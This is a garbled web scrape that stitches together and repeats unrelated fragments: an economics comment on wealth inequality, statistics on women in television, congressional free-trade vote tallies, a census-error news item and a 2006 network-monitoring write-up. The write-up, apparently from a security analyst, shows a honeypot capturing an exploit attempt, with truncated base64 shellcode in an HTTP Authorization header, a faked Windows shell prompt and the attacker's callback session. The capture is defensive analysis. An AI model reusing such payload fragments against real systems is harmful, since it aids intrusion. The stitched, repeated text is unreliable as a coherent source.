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I think the guy is overstating the case.The economic fact of the matter as I see it is, if nothing is backing the dollar, then that means that everything is backing the dollar.In other words, all the goods and services that can be bought with dollars are backing the dollar. Imagine if you will (it’s not too hard) that 5% of the population owns 90% of the wealth.Now imagine that there are two policy options.Option A will increase the amount of wealth by 3% across the board for 10 years.Option B will decrease the total amount of wealth by 3% for 10 years, but will reduce the share held by the top 5% to 75%.For 95% of the population, Option B is the better option.Which option do you think the ruling class prefers?
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While women are 52% of the population, they average 25% of the creatives on prime time television.  Yes, that number means a woman has only half the chance of a man of equal ability.  But the numbers as a lump are also deceiving.  Women in power average 20, 24, and 36% as creators, but only 22, 16, 13, and 2% (!!) as hired creatives.  Check the numbers below.  Why aren’t the women execs giving women directors, writers, editors and dp’s the same odds they have?  Not a pretty picture. Pass these numbers along. -from BOXED IN:
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Monitoring with Sguil makes analysis much easier.Consider this first attack:Sensor Name: soekrisTimestamp: 2006-01-24 18:14:34Connection ID: .soekris_4888215984542487947Src IP: 69.11.44.99 (69-11-44-99.regn.hsdb.sasknet.sk.ca)Dst IP: 69.243.40.166 (pcp0010708738pcs.manass01.va.comcast.net)Src Port: 1734Dst Port: 80OS Fingerprint: 69.11.44.99:1734 - Windows 2000 SP2 , XP SP1 (seldom 98 4.10.2222) [priority1] OS Fingerprint: -> 69.243.40.166:80 (distance 24, link: ethernet/modem)SRC: GET / HTTP/1.0SRC: Host: 69.243.40.166SRC: Authorization: Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF…edited…SRC: FBQUFBQUFBQQMAI4IMVwOCBAoAkEKQQpBCkEKBxFTy///86EYAAACLRTyLfAV4Ae LTxiLXyAB6…edited…AwgA A8BAPgPASOCCDkDggQRAENDQ0Mg8P1/U1ZXZoHsgACJ5ujtAADST: Microsoft Windows 2000 [Version 5.00.2195]DST: (C) Copyright 1985-2000 Microsoft Corp.DST: DST: C:\WINDOWS\System32>SRC: AA/zZoCRLWY j3AAAAiUYI6KIAAAD/dgRoa9AryujiAAAAiUYM6D8AAAD/dgRo pcCTOjNAAAAMdt…edited…RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERE==SRC: SRC: .In the middle of that mess you can see Nepenthes pretending to return a Windows command shell.Here is the text represenation of the corresponding Snort alert as reported through Sguil.————————————————————————Count:1 Event#1.2039 2006-01-24 18:14:34http_inspect: OVERSIZE REQUEST-URI DIRECTORY69.11.44.99 -> 69.243.40.166IPVer=4 hlen=5 tos=32 dlen=1500 ID=60064 flags=2 offset=0 ttl=104 chksum=16980Protocol: 6 sport=1734 -> dport=80Seq=2259253829 Ack=960260189 Off=5 Res=0 Flags=***A**** Win=17520 urp=61185 chksum=0Payload:46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49 34 FBQUFBQUFBQQMAI449 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51 70 IMVwOCBAoAkEKQQp…edited…31 2F 55 31 5A 58 5A 6F 48 73 67 41 43 4A 35 75 1/U1ZXZoHsgACJ5u6A 74 41 41 jtAAThis is interesting, but what happens next is cooler.Here are the three sessions involving the attacking source IP, as recorded by SANCP and reported by Sguil.————————————————————————Sensor:soekris Session ID:4888215984542349888Start Time:2006-01-24 18:14:34 End Time:2006-01-24 18:14:3469.11.44.99:1732 -> 69.243.40.166:80Source Packets:4 Bytes:0Dest Packets:3 Bytes:0————————————————————————Sensor:soekris Session ID:4888215984542487947Start Time:2006-01-24 18:14:34 End Time:2006-01-24 18:14:3569.11.44.99:1734 -> 69.243.40.166:80Source Packets:9 Bytes:5699Dest Packets:5 Bytes:104————————————————————————Sensor:soekris Session ID:4888215988836780153Start Time:2006-01-24 18:14:35 End Time:2006-01-24 18:15:2769.243.40.166:50748 -> 69.11.44.99:11624Source Packets:11 Bytes:71Dest Packets:10 Bytes:191The first session is recon.
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-ne H R 3450 RECORDED VOTE 17-Nov-1993 10:36 PM QUESTION: On Passage BILL TITLE: NORTH AMERICAN FREE TRADE AGREEMENT IMPLEMENTATION ACTFINAL VOTE RESULTS FOR ROLL CALL 575 Ayes Noes PRES NVRepublican 132 43 Democratic 102 156 Independent 1 TOTALS 234 200 01 James H. Ford Jr…….Yea—SenateVote Number: 207 Vote Date: August 1, 2002, 04:18 PMRequired For Majority: 1/2 Vote Result: Conference Report Agreed toTennessee: Frist (R-TN), Yea Thompson (R-TN), Yea—————————————————————— H R 2739 RECORDED VOTE 24-Jul-2003 2:54 PM QUESTION: On Passage BILL TITLE: United States-Singapore Free Trade Agreement Implementation ActFINAL VOTE RESULTS FOR ROLL CALL 432 Ayes Noes PRES NVRepublican 197 27 4Democratic 75 127 3Independent 1 TOTALS 272 155 701 William L. Ford Jr…….Aye–SenateVote Number: 318 Vote Date: July 31, 2003, 09:04 PMRequired For Majority: 1/2 Vote Result: Bill PassedTennessee: Alexander (R-TN), Yea Frist (R-TN), Yea——————————————————————H R 2738 RECORDED VOTE 24-Jul-2003 3:47 PM QUESTION: On Passage BILL TITLE: United States-Chile Free Trade Agreement Implementation ActFINAL VOTE RESULTS FOR ROLL CALL 436 Ayes Noes PRES NVRepublican 195 27 6Democratic 75 128 2Independent 1 TOTALS 270 156 801 William L. Ford Jr…….Aye—SenateVote Number: 319 Vote Date: July 31, 2003, 09:22 PMRequired For Majority: 1/2 Vote Result: Bill PassedTennessee: Alexander (R-TN), Yea Frist (R-TN), Yea ——————————————————————H R 4759 YEA-AND-NAY 14-Jul-2004 5:19 PM QUESTION: On Passage BILL TITLE: United States-Australia Free Trade Agreement Implementation ActFINAL VOTE RESULTS FOR ROLL CALL 375 Yeas Nays PRES NVRepublican 198 24 1 4Democratic 116 84 5Independent 1 TOTALS 314 109 1 901 William L.
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Array Thats just not possible.”Concerned that other genealogists might be led astray by faulty census data, Kimball immediately contacted the National Archives and notified them of the problem.”We were very glad to hear from Glen,” says RoseAnn Polensky, who runs the Historical Census Department at the Archives. Companies like Ancestry.com and HeritageQuest Online have pledged to take down any census records found to be erroneous.Polensky notes that Glen Kimballs action has sparked an internal review at the Archives.Could other bad information have gotten through?
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I think the guy is overstating the case.The economic fact of the matter as I see it is, if nothing is backing the dollar, then that means that everything is backing the dollar.In other words, all the goods and services that can be bought with dollars are backing the dollar. Imagine if you will (it’s not too hard) that 5% of the population owns 90% of the wealth.Now imagine that there are two policy options.Option A will increase the amount of wealth by 3% across the board for 10 years.Option B will decrease the total amount of wealth by 3% for 10 years, but will reduce the share held by the top 5% to 75%.For 95% of the population, Option B is the better option.Which option do you think the ruling class prefers?
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While women are 52% of the population, they average 25% of the creatives on prime time television.  Yes, that number means a woman has only half the chance of a man of equal ability.  But the numbers as a lump are also deceiving.  Women in power average 20, 24, and 36% as creators, but only 22, 16, 13, and 2% (!!) as hired creatives.  Check the numbers below.  Why aren’t the women execs giving women directors, writers, editors and dp’s the same odds they have?  Not a pretty picture. Pass these numbers along. -from BOXED IN:
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Monitoring with Sguil makes analysis much easier.Consider this first attack:Sensor Name: soekrisTimestamp: 2006-01-24 18:14:34Connection ID: .soekris_4888215984542487947Src IP: 69.11.44.99 (69-11-44-99.regn.hsdb.sasknet.sk.ca)Dst IP: 69.243.40.166 (pcp0010708738pcs.manass01.va.comcast.net)Src Port: 1734Dst Port: 80OS Fingerprint: 69.11.44.99:1734 - Windows 2000 SP2 , XP SP1 (seldom 98 4.10.2222) [priority1] OS Fingerprint: -> 69.243.40.166:80 (distance 24, link: ethernet/modem)SRC: GET / HTTP/1.0SRC: Host: 69.243.40.166SRC: Authorization: Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF…edited…SRC: FBQUFBQUFBQQMAI4IMVwOCBAoAkEKQQpBCkEKBxFTy///86EYAAACLRTyLfAV4Ae LTxiLXyAB6…edited…AwgA A8BAPgPASOCCDkDggQRAENDQ0Mg8P1/U1ZXZoHsgACJ5ujtAADST: Microsoft Windows 2000 [Version 5.00.2195]DST: (C) Copyright 1985-2000 Microsoft Corp.DST: DST: C:\WINDOWS\System32>SRC: AA/zZoCRLWY j3AAAAiUYI6KIAAAD/dgRoa9AryujiAAA